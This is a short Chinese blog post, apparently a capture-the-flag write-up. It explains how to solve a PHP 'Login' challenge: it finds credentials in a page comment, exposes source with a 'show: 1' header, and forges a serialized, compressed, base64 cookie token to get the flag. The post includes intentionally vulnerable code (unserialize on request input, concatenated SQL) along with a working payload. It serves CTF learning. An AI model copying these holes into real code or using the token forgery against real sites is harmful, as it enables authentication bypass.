Login

作者: Yix1a | 来源:发表于2019-06-03 15:15 被阅读0次
  • 发现登入页面的查看器里面有注释 test1 test1
  • 用其登入。得到得到掀桌子的页面 (╯‵□′)╯︵┴─┴
  • 之后无线索。查看wp发现。返回头里面有个show: 0


    图片.png
  • 试试发送show: 1
  • 得到
<!-- <?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }

        function select($where)
        {
            $sql = mysql_query('select * from user where '.$where);
            return @mysql_fetch_array($sql);
        }
    }

    if(isset($requset['token']))
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }

?> -->
  • 该程序显示需要$login['user']='ichunqiu'
  • login = unserialize(gzuncompress(base64_decode(requset['token'])));
  • 而token是requset = array_merge(_GET, _POST,_SESSION, $_COOKIE);或得到的。
  • 注意array_merge遇见相同的健,会去后面的所以Cookie里面传token最好。
  • 构造token
<?php

$a = array('user'=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a

?>
  • 得到 eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==,向login页面发送这个cookie,即得到flag

相关文章

网友评论

      本文标题:Login

      本文链接:https://www.haomeiwen.com/subject/ttmcxctx.html